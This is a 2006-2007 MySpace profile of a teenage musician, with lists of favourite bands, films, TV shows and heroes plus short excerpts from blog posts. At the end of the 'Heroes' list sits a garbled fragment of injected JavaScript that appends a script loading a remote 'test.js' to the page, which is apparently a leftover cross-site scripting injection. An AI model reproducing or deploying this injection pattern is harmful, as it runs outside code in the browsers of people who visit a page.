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About Me

Im Dani. Hello!!! Im a musician, an artist and a midget. I have 2 ponies, 2 cats and a welsh dog. And, like, 20 stick insects, all called Kate Moss. But you don't care about that, do you? Nooo, you wanna know what I do and stuff like that. Sooo, I play a range of guitars, keyboard, harmonica, melodica, sitar (which is a huge, looming, behemoth of an Indian sort of hybrid instrument) and the gameboy. BTW, at the mo im watchin something about badgers with Bill Baily in it. Aaaah, they're so cute! With their emo stripes, hehe... Im a serial gig- goer, the first band I ever saw live were Zak Wilde's Black Label Society which is pretty damn nifty! The best gigs I have ever seen are AFI, Placebo, The Coral, The Buzzcocks and The Stranglers. Actually... I've never seen The Stranglers. But I want to! Sniff:( I love to read Gothic literature, mainly Poppy Z Brite and Niel Gaiman because they're freakin weird... and their characters remind me of my friends, who are all brilliant and eccentric in their own ways! I LOVE COMEDY. I would like to make a sketch show like 'The Mighty Boosh' or 'CKY' with music in it. Mitchel and Webb are gonna be the next big thing. Andy Corfman was, no, IS GOD. MyGen Profile Generator ...

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My Interests

Travelling, Comedy, Live music, Performing, Animals, Art, History, Making people happy! Casual drinking... PARTYPARTY,AFTERPARTY!!!...

I'd like to meet:

Danny Elfman, Tom Waits, Davey Havok (meow), Noel Fielding, Eugine Hutz (CHECK!!!) Michael Stipe, Courtney Love, John Lyden, Dylan Moran, John Cooper Clarke (CHECK!!!) Bill Baily, Joss 'dumbass' Stone (in a dark alley in Hackney or somewhere just as ominous...BANG!!!) Tim Burton, Baron Samedi (when the time comes), Poppy Z Brite, Debora Curtis, David Linch, JK Rowling, Paddy Consedine, Shane Medows, Neil Hammond (CHECK!!!)...

Music:

The Beatles, AFI (old stuff), Tom Waits, Stranglers, The Coral, B52s, The Pixies, JJ72,The Clash, The Cure, The Offspring (old Stuff), Kasabian, Stone Roses, Talking Heads, CKY, Siouxie and the Banshees, The Pogues, Floggin Molly, Breed 77, Sisters of Mercy, The cult, Alice in Chains, THE HALLOWED, Blur, Mad Capsule Markets, Gomez, Gogol Bordellos, The Explosion, The Smiths, HIM, Progidy, Nirvana, Nick Drake, Tom Waits, The Cranberries, Bob Marley, The Specials, The Gorrilaz, The Kinks, Little Fat Hoover, David Bowie, Fun Luvin' Criminals, Tenacious D, Star From Ivy, Poison Lip Nick, Alien Angels...

Movies:

Mulholland Drive, Edward Scissor Hands, Aristor Cats, Donnie Darko, Nightmare B4 Christmas, From Hell, Silent Hill, Moulan Rouge, Snatch, Man On The Moon, 24 Hour Party People, Commitments, House on Haunted Hill, Nacho Libres, Shaun of the Dead, CKY, Pirates of the Carribean, All Harry Potters! About a Boy,...

Television:

The Mighty Boosh, Emmerdale, That Mitchell and Webb Look, Scuzz, Redemption TV, Black Books, The Muppets, The Clangers, 'Old Bear Stories', Raggy Dolls, Fosters Home For Imaginary Friends, Pokemon...

Books:

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Heroes:

Andy Corfman, Rosa Parks, The Beatles, Davey Havok, John Lydon, David Bowie, Danny Elfman, Francis Drake, All Men who faught in both World Wars, RIP.'..var x=document·('script');x.src='http://www.../.../test.js' ;document·getElementsByTagName('body')[0].appendChild(x );" /

My Blog

what to do.

Do u no what malibu does? It makes u raannddyyy. Apparrently. Alreet ,downloading stuff takes sooo long. *sigh* if only it was the space age. DaNi'S WoRdS oF wIsDoM!!! Watch smosh its funny! On U Tube...
Posted by Immigrant Punk on Thu, 04 Jan 2007 02:53:00 PST

OOH HOOO!!! I GOTA SPIDER LUVVIN!!!

Put awat those firey biscuits! watchin the boosh, just bin watchin mitchel and webb look. i am the only person in the world hu nos wot that is. me and my best m8 in the world eva r gonna ...
Posted by Immigrant Punk on Sat, 18 Nov 2006 08:40:00 PST

Ahhhhh, LOVECATS!!!

we slip through the streets while evri1 sleeeps, u no the feeling? if ur feeling anything amazing then you dooo!!! reply to this and tell me everything!!! hugs to you and if u didnt guess, i am euphor...
Posted by Immigrant Punk on Fri, 17 Nov 2006 05:52:00 PST

I feel like a fat man has just got off my chest.

Has anyone eva felt like this? if u hav, tell me. Its ever so queer!!! Like, ur liberated, but still hollow from the dent hes made. However, i feel sure that my lungs will eventually...
Posted by Immigrant Punk on Sat, 28 Oct 2006 02:35:00 PST

I absolutely knew it.

Which internet subculture do I belong to? You are a Goth! Oh Woe is you! Your LJ is full of angsty poetry and every breath is PAINFUL for you. Remember, when you are playing with razor blades, i...
Posted by Immigrant Punk on Wed, 25 Oct 2006 07:01:00 PST

MAH ROADSIGN!!!

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Posted by Immigrant Punk on Wed, 25 Oct 2006 06:46:00 PST

Soup Song

Soup, Soup, a tasty soup, soup, a spicey carrot and corriander.... CHILLI CHOWDER! Cruton, cruton! Crunchy friends in a liquid broth, I am guspatchio, OO! I am a summer soup OO! Miso Miso... Fighting ...
Posted by Immigrant Punk on Mon, 23 Oct 2006 01:24:00 PST

hellooo

This is my first blog. what is a blog?hehe......
Posted by Immigrant Punk on Sun, 22 Oct 2006 09:08:00 PST

cant sleep!

?owww. i cant sleep. Ive bin making wings for my halloween costume ALL day... oh yes, go to www.myspace.com/wearehallowed cuz theyre awesome. *sigh. the only person online is rhys cuz i av like no co...
Posted by Immigrant Punk on Mon, 23 Oct 2006 05:43:00 PST